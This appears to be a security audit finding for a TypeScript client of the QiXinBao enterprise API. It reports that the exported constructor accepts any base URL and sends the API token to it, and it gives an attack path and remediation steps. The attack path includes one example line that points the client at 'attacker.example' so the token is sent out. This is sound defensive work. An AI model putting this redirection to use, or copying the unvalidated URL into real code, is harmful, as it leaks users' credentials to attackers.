T09 · Insecure Skill Coding Practices
Warning
- Location
- src/client.ts:35
- Finding
- API Token Can Be Transmitted to a Caller-Controlled Endpoint## Vulnerability Details **File Location**: `src/client.ts:35-43` **Vulnerability Type**: Credential exposure through an unrestricted API base URL **Risk Level**: Medium ### Vulnerable Code ```ts constructor(apiToken: string, baseURL: string = 'https://external-api.qixin.com/skill/ent/public') { this.apiToken = apiToken this.client = axios.create({ baseURL, headers: { 'Content-Type': 'application/json', 'x-api-token': apiToken, }, timeout: 30000, }) } ``` The affected class is publicly exported at `src/index.ts:2`: ```ts export * from './client' ``` ### Technical Analysis The public `QxbEntClient` constructor accepts an arbitrary `baseURL`. The Axios client then automatically includes the supplied API token in the `x-api-token` header of every request. The implementation does not validate the URL scheme, hostname, port, or path before associating the credential with the destination. Consequently, a caller can construct the client with an attacker-controlled URL rather than the documented QiXinBao endpoint. This contradicts the documented security expectation that the token is used only with `https://external-api.qixin.com/skill/ent/public`. The bundled examples do not exploit this behavior, so the issue is an exposed credential-redirection primitive rather than evidence of active credential exfiltration. ### Attack Path 1. An attacker influences integration code, runtime configuration, or agent-generated code that constructs `QxbEntClient`. 2. The attacker supplies a URL under their control as the second constructor argument: ```ts const client = new QxbEntClient(token, 'https://attacker.example') ``` 3. The application invokes any query method, such as `getEnterpriseInformation`. 4. Axios sends the request to the attacker-controlled server. 5. The request includes the victim's API token in the `x-api-token` header and may also disclose the qu ...[truncated 639 chars]
- Remediation
- ## Remediation Suggestions 1. Remove the public `baseURL` parameter if endpoint customization is not an explicit requirement. 2. Hardcode the approved HTTPS origin: ```ts const API_BASE_URL = 'https://external-api.qixin.com/skill/ent/public' ``` 3. If endpoint customization is necessary, parse the URL and enforce an exact allowlist for protocol, hostname, port, and path before creating the Axios client. 4. Reject HTTP URLs, embedded credentials, unexpected ports, subdomain variations, and lookalike domains. 5. Attach `x-api-token` through a request interceptor only after confirming that the final request URL belongs to the approved origin. 6. Disable or strictly validate redirects so a trusted endpoint cannot redirect credential-bearing requests to another origin. 7. Add automated tests proving that unapproved origins and cross-origin redirects never receive the token. 8. Remove the unused `apiToken` instance field to reduce unnecessary credential retention in memory.
